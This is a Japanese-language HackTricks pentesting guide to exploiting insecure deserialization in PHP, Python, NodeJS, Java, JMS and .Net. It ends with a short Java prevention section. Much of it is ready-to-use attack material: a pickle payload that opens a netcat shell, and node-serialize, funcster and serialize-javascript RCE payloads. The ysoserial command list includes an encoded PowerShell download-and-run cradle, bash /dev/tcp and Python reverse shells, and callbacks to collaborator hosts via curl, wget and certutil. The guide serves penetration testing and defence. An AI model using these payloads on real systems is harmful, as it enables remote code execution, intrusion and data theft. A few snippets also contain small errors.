デシリアライズ

Reading time: 61 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

シリアライズは、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信することを意図しています。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。

デシリアライズは、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。

デシリアライズは危険である可能性があります。なぜなら、攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。

PHP

PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:

  • __sleep: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
  • __wakeup: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
  • __unserialize: オブジェクトがデシリアライズされるときに、__wakeupの代わりに呼び出されるメソッドです。__wakeupに比べてデシリアライズプロセスに対する制御が強化されます。
  • __destruct: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。
  • __toString: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

結果を見ると、オブジェクトがデシリアライズされるときに関数 __wakeup__destruct が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると __toString 関数が呼び出されるとされていますが、どうやらそれは もう起こっていない ようです。

warning

メソッド __unserialize(array $data) は、クラスに実装されている場合、__wakeup() の代わりに呼び出されます。これは、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズすることを可能にします。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。

class MyClass {
    private $property;

    public function __unserialize(array $data): void {
        $this->property = $data['property'];
        // デシリアライズ時に必要なタスクを実行します。
    }
}

説明された PHPの例をこちらで読むことができます: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、こちら https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf またはこちら https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます:

PHP - Deserialization + Autoload Classes

参照値のシリアライズ

何らかの理由で、別のシリアライズされた値への参照として値をシリアライズしたい場合は、次のようにできます:

php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、外部 PHP 拡張のコードを悪用できるかもしれません。
ですので、可能であればサーバーの phpinfo() を確認し、インターネットで検索(さらには PHPGGCgadgets も)して、悪用できる可能性のあるガジェットを探してください。

phar:// メタデータデシリアライズ

ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()** のような関数を使用している場合、phar プロトコルを使用して ファイル読み取る ときに発生する デシリアライズ を悪用しようとすることができます。
詳細については、以下の投稿をお読みください:

phar:// deserialization

Python

Pickle

オブジェクトがアンピクルされると、関数 ___reduce___ が実行されます。
悪用されると、サーバーはエラーを返す可能性があります。

python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

以下の手法を確認する前に、print(base64.b64encode(pickle.dumps(P(),2)))を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。

pickle jailからの脱出に関する詳細情報は、以下を確認してください:

Bypass Python sandboxes

Yaml & jsonpickle

以下のページでは、Pythonライブラリの不安全なデシリアライズを悪用する手法を紹介し、Pickle, PyYAML, jsonpickle, ruamel.yamlのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります:

Python Yaml Deserialization

クラス汚染 (Pythonプロトタイプ汚染)

Class Pollution (Python's Prototype Pollution)

NodeJS

JSマジック関数

JSは、オブジェクトを作成するためだけに実行される**"マジック"関数を持っていませんが、toStringvalueOftoJSONのように、直接呼び出さなくても頻繁に使用される関数があります。
デシリアライズを悪用する場合、これらの関数を
妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。

関数を直接呼び出さずに呼び出す別の"マジック"な方法は、非同期関数(プロミス)によって返されるオブジェクトを妥協することです。なぜなら、その返されるオブジェクトを**"then"という関数型のプロパティを持つ別のプロミス変換すると、別のプロミスによって返されるために実行される**からです。詳細については このリンク を参照してください。

javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__prototype の汚染

この技術について学びたい場合は、次のチュートリアルを参照してください:

NodeJS - proto & prototype Pollution

node-serialize

このライブラリは関数をシリアライズすることを可能にします。例:

javascript
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

シリアライズされたオブジェクトは次のようになります:

bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

関数がシリアライズされると、シリアライズされたオブジェクトに _$$ND_FUNC$$_ フラグが追加されることが例からわかります。

ファイル node-serialize/lib/serialize.js 内で、同じフラグとそのコードの使用方法を見つけることができます。

最後のコードのチャンクで見られるように、フラグが見つかった場合eval が関数をデシリアライズするために使用されるので、基本的に ユーザー入力が eval 関数内で使用されていることになります。

しかし、関数をシリアライズするだけではそれを実行することはありません。なぜなら、コードの一部が**y.rceを呼び出す必要があるからで、これは非常にありそうにありません**。
それでも、シリアライズされたオブジェクトを修正していくつかの括弧を追加することで、オブジェクトがデシリアライズされたときにシリアライズされた関数を自動的に実行させることができます。
次のコードのチャンクで、最後の括弧と、unserialize 関数がどのように自動的にコードを実行するかに注意してください:

javascript
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

以前に示したように、このライブラリは_$$ND_FUNC$$_の後のコードを取得し、実行します。したがって、コードを自動実行するためには、関数の作成部分と最後の括弧を削除し、次の例のようにJSのワンライナーを実行することができます:

javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

ここで詳細情報を見つけることができます。この脆弱性を悪用する方法について。

funcster

funcsterの注目すべき点は、標準の組み込みオブジェクトへのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、console.log()require(something)のようなコマンドを使用すると、"ReferenceError: console is not defined"のような例外が発生します。

この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:

javascript
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

詳細については、このソースを読む

serialize-javascript

serialize-javascript パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、eval の直接使用が推奨されています:

javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

この関数がオブジェクトをデシリアライズするために使用される場合、あなたは簡単にそれを悪用できます

javascript
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

詳細についてはこのソースを読んでください more information read this source.

Cryoライブラリ

以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:

Java - HTTP

Javaでは、デシリアライズコールバックはデシリアライズプロセス中に実行されます。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。

フィンガープリント

ホワイトボックス

コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください:

  • Serializableインターフェースを実装しているクラス。
  • java.io.ObjectInputStreamreadObjectreadUnshare関数の使用。

特に注意を払うべき点:

  • 外部ユーザーによって定義されたパラメータで使用されるXMLDecoder
  • XStreamfromXMLメソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。
  • readObjectメソッドと組み合わされたObjectInputStream
  • readObjectreadObjectNodDatareadResolve、またはreadExternalなどのメソッドの実装。
  • ObjectInputStream.readUnshared
  • Serializableの一般的な使用。

ブラックボックス

ブラックボックステストでは、Javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(ObjectInputStreamから発生):

  • 16進パターン:AC ED 00 05
  • Base64パターン:rO0
  • Content-typeapplication/x-java-serialized-objectに設定されたHTTPレスポンスヘッダー。
  • 以前の圧縮を示す16進パターン:1F 8B 08 00
  • 以前の圧縮を示すBase64パターン:H4sIA
  • .faces拡張子を持つWebファイルとfaces.ViewStateパラメータ。これらのパターンをWebアプリケーションで発見した場合、Java JSF ViewState Deserializationに関する投稿に詳述されているように調査を促すべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

脆弱性の確認

Javaのデシリアライズ攻撃がどのように機能するかを学びたい場合は、Basic Java DeserializationJava DNS Deserialization、およびCommonsCollection1 Payloadを確認してください。

ホワイトボックステスト

既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。

bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .

あなたは、Ysoserialがエクスプロイトを提供できる脆弱性のあるすべてのライブラリをチェックすることができます。または、Java-Deserialization-Cheat-Sheetに示されているライブラリを確認することもできます。
また、gadgetinspectorを使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。
gadgetinspectorを実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください

ブラックボックステスト

Burp拡張機能gadgetprobeを使用すると、どのライブラリが利用可能か(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするためのペイロードを選択しやすくなります。
GadgetProbeについて詳しく学ぶにはこちらをお読みください
GadgetProbeは**ObjectInputStreamのデシリアライズ**に焦点を当てています。

Burp拡張機能Java Deserialization Scannerを使用すると、ysoserialでエクスプロイト可能な脆弱なライブラリを特定し、それらをエクスプロイトできます。
Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。
Java Deserialization Scannerは**ObjectInputStream**のデシリアライズに焦点を当てています。

Freddyを使用して、Burp内のデシリアライズの脆弱性を検出することもできます。このプラグインは、ObjectInputStreamに関連する脆弱性だけでなく、JsonおよびYmlデシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。
Freddyについての詳細情報はこちらで確認できます。

シリアライズテスト

サーバーによって使用されている脆弱なライブラリを確認するだけではありません。時には、シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスすることができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**SerializationDumper**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。

エクスプロイト

ysoserial

Javaデシリアライズをエクスプロイトするための主なツールはysoserialです(こちらからダウンロード)。また、複雑なコマンド(例えばパイプを使用)を使用できるysoseral-modifiedの使用も検討できます。
このツールは**ObjectInputStreamのエクスプロイトに焦点を当てていることに注意してください。
私は
RCEペイロードの前に「URLDNS」ペイロードを使用して、注入が可能かどうかをテストすることをお勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。

bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

java.lang.Runtime.exec() のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような 特殊文字 を使用することはできません。また、コマンドを実行するために "$()" を使用したり、スペース で区切られた 引数 をコマンドに渡すこともできません(echo -n "hello world" は可能ですが、python2 -c 'print "Hello world"' はできません)。ペイロードを正しくエンコードするために、このウェブページ を使用することができます。

次のスクリプトを使用して、Windows と Linux の すべての可能なコード実行 ペイロードを作成し、脆弱なウェブページでテストしてください:

python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection along with ysoserial to create more exploits. More information about this tool in the slides of the talk where the tool was presented: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec は、JavaのさまざまなJsonおよびYmlシリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。
プロジェクトをコンパイルするために、pom.xmlにこの依存関係追加する必要がありました:

html
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Mavenをインストールし、プロジェクトをコンパイルします:

bash
sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

このJava JSONライブラリについての詳細は、こちらを参照してください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Javaはさまざまな目的で多くのシリアル化を使用します:

  • HTTPリクエスト: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
  • RMI (Remote Method Invocation): Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
  • RMI over HTTP: この方法は、Javaベースの厚いクライアントウェブアプリケーションによく使用され、すべてのオブジェクト通信にシリアル化を利用します。
  • JMX (Java Management Extensions): JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
  • カスタムプロトコル: Javaでは、標準的な慣行として、生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。

Prevention

Transient objects

Serializableを実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトをtransientとして実装できます。例えば:

java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Serializableを実装する必要があるクラスのシリアライズを避ける

特定の**オブジェクトがクラス階層のためにSerializable**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローするfinalreadObject()メソッドを定義することで、これらのオブジェクトがデシリアライズ不可能であることを確認してください。

java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Javaにおけるデシリアライズセキュリティの強化

java.io.ObjectInputStreamのカスタマイズは、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は次の場合に適しています:

  • デシリアライズコードがあなたの管理下にある。
  • デシリアライズのために期待されるクラスが知られている。

**resolveClass()**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズをBicycleクラスのみに制限しています:

java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

セキュリティ強化のためのJavaエージェントの使用は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に有害なクラスのブラックリスト化に適用され、JVMパラメータを使用します:

-javaagent:name-of-agent.jar

動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に最適です。

rO0 by Contrast Securityの例を確認してください。

シリアライゼーションフィルターの実装: Java 9では、**ObjectInputFilter**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。

シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

外部ライブラリを活用したセキュリティの強化: NotSoSerialjdeserialize、およびKryoなどのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。

  • NotSoSerialは、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
  • jdeserializeは、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
  • Kryoは、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。

参考文献

JNDIインジェクション & log4Shell

JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか(およびこの脆弱性の例)については、以下のページを参照してください。

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Javaメッセージサービス

JavaメッセージサービスJMS)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にすることを可能にします。(出典: Wikipedia)。

製品

このミドルウェアを使用してメッセージを送信する製品がいくつかあります:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

悪用

基本的に、危険な方法でJMSを使用しているサービスが多数存在します。したがって、これらのサービスにメッセージを送信するための十分な権限がある場合(通常は有効な資格情報が必要です)、デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります
これは、この悪用において、そのメッセージを使用するすべてのクライアントが感染することを意味します。

サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。

ツールJMETは、既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信することで、これらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。

参考文献

.Net

.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがデシリアライズ中に特定のコードを実行するために悪用されます。

フィンガープリンティング

ホワイトボックス

ソースコード内で以下の出現を検査する必要があります:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

ユーザー制御下の変数によってタイプを決定できるシリアライザーに焦点を当てるべきです。

ブラックボックス

検索は、Base64エンコードされた文字列AAEAAAD/////またはサーバー側でデシリアライズされる可能性のある類似のパターンをターゲットにする必要があります。これには、TypeObject$typeを含むがこれに限定されないJSONまたはXML構造が含まれる可能性があります。

ysoserial.net

この場合、ツールysoserial.netを使用してデシリアライズの悪用を作成することができます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用してツールをコンパイルする必要があります。

ysoserial.netがどのように悪用を作成するかについて学びたい場合は、ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください

ysoserial.netの主なオプションは、--gadget--formatter--output、および**--plugin**です。

  • **--gadget**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
  • **--formatter**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
  • --outputは、悪用をまたはbase64エンコードされた形式で取得したいかどうかを示すために使用されます。注意してください、ysoserial.netはペイロードをUTF-16LE(Windowsでデフォルトで使用されるエンコーディング)を使用してエンコードしますので、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しないエンコーディングの互換性の問題が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。
  • --pluginysoserial.netは、ViewStateのような特定のフレームワーク用の悪用を作成するためのプラグインをサポートしています

追加のysoserial.netパラメータ

  • --minify小さいペイロードを提供します(可能な場合)。
